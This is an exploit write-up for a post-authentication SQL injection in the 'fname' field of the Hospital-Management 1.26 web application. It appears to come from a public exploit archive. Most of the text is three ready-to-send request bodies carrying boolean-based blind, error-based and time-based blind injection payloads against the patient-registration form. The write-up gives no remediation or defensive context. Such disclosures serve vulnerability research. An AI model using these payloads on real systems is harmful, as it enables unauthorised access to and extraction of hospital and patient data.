Hospital-Management 1.26 - 'fname' SQL Injection

# Exploit Title: Hospital-Management 1.26 - 'fname' SQL Injection
# Author: Cakes
# Discovery Date: 2019-09-18
# Vendor Homepage: https://github.com/Mugerwa-Joseph/hospital-management
# Software Link: https://github.com/Mugerwa-Joseph/hospital-management/archive/master.zip
# Tested Version: 1.26
# Tested on OS: CentOS 7
# CVE: N/A

# Discription:
# Simple SQL injection after application authentication. 

# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 

fname=tester'||(SELECT 0x72516679 FROM DUAL WHERE 9119=9119 AND 1379=1379)||'&sname=tester&[email protected]&phone=1123456783&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: 

fname=tester'||(SELECT 0x53495778 FROM DUAL WHERE 5761=5761 AND (SELECT 9648 FROM(SELECT COUNT(*),CONCAT(0x71787a7a71,(SELECT (ELT(9648=9648,1))),0x716b786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&sname=tester&[email protected]&phone=1123456783&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add

# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload: 

fname=tester'||(SELECT 0x5144494b FROM DUAL WHERE 1043=1043 AND (SELECT 1880 FROM (SELECT(SLEEP(5)))AmmF))||'&sname=tester&[email protected]&phone=1123456783&address=123 happy lane&gender=Male&bloodgroup=B&birthyear=2002&btn=Add